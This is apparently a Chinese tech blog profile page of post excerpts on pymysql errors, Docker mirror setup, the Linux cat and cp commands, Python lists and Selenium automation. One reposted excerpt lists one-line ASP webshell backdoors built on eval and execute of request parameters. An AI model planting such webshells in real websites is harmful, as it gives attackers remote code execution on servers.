简介
该用户还未填写简介
擅长的技术栈
可提供的服务
暂无可提供的服务
使用pymysql进行连接数据库时,出现RuntimeError: ‘cryptography’ package is required for sha256_password错误,原有时缺少cryptography依赖包。使用pip命令安装依赖包后,再次执行,即可正常执行:
环境:centos 7 + docker 20.10.5在虚拟机centos 7上安装了一个docker环境,安装完之后,无论怎么都启动不起来,在网上找了很多办法,结果都不行,具体报错如下:后来经过多种尝试,发现,如果设置的是国内的源的话,docker的配置源的文件就不能用json格式的,需要改成conf格式的。具体操作如下:首先进入etc/docker文件夹下:看到文件夹下有一个daemon.j
环境:centos 7 + docker 20.10.5在虚拟机centos 7上安装了一个docker环境,安装完之后,无论怎么都启动不起来,在网上找了很多办法,结果都不行,具体报错如下:后来经过多种尝试,发现,如果设置的是国内的源的话,docker的配置源的文件就不能用json格式的,需要改成conf格式的。具体操作如下:首先进入etc/docker文件夹下:看到文件夹下有一个daemon.j
cat命令是用于连接文件并打印到标准输出设备上。可以看作是一个文书查看命令。另外,还可以通过cat去创建新的文件。将不同的文件合并等。下面具体操作一下。查看帮助信息:【cat --help】查看文档内容:【cat filename】对输出内容的每一行进行编号【cat -n filename 或者 cat --number filename】对输出内容的非空格行进行编号:【cat -b filena
cp命令,英文单词copy的缩写,其功能为复制文件或目录。cp命令可以将多个文件复制到一个具体的文件名或一个已经存在的目录下,也可以同时复制多个文件到一个指定的目录中。1.cp 复制文件,语法格式为: cp 源文件 目标文件可以通过加参数,来实现更多的操作。2.cp –f 若目标文件已存在,则会直接覆盖原文件。语法格式: cp -f 源文件 目标文件3.cp –i 若目标文件已存在,则会询问是否覆
List列表是使用[]进行定义的。可以在列表中添加任何类型的数据,各个值使用逗号隔开。列表属于序列,支持序列的任何操作,包括索引,切片,加,乘,检查成员。1.创建空列表,有两种方法:直接使用[]定义,使用list()定义# 1.创建空列表,有两种方法:直接使用[]定义,使用list()定义list1 = []list2 = list()print(list1)print(list2)2.列表支持的
三种等待方式:sleep强制等待, sleep,设置等待多长时间,就要等待多长时间。通常使用这个等待方式的场景为,静态元素的加载,不需要从服务器上请求,可以很笃定的知道,多少时间之内,这个元素肯定会加载出来。比如百度首页的登录按钮。点击登录时,会弹出登录窗口。但这个窗口其实在访问百度首页时就已经加载好了,点击登录时,并不是从服务器上请求再加载,而是直接加载静态页面,不受网速的影响,3s之内,肯定可
转载:来自WebShell’S Blog,地址:https://www.webshell.cc/2265.html比较全的webshell一句话包括ASP,PHP,ASPX,JSPasp一句话木马程序代码<%eval request(“sb”)%>程序代码<%execute request(“sb”)%>程序代码<%execute(request(“sb”))%>
最近在学习python自动化,尝试着写了一个使用pycharm+python+selenium实现的163邮箱登录,发送邮件的自动化。工具:pycharm语言:python框架:selenium首先进行环境搭建,环境搭建可以在网上搜索一下,网上有很多教程都可以使用。环境搭建完成以后,以下为实现163邮箱发送邮件自动化的实现:...
安装python网上有很多安装教程,大家自行百度。下载驱动首先,要确定你的浏览器的版本,根据浏览器及对应的版本,去下载对应版本的驱动。我的是谷歌浏览器,所以我下载的是谷歌驱动。查看浏览器版本:下载驱动:http://npm.taobao.org/mirrors/chromedriver/下载驱动后,将驱动放到python的安装目录:安装selenium安装selenium有两种方法,一个是通过pi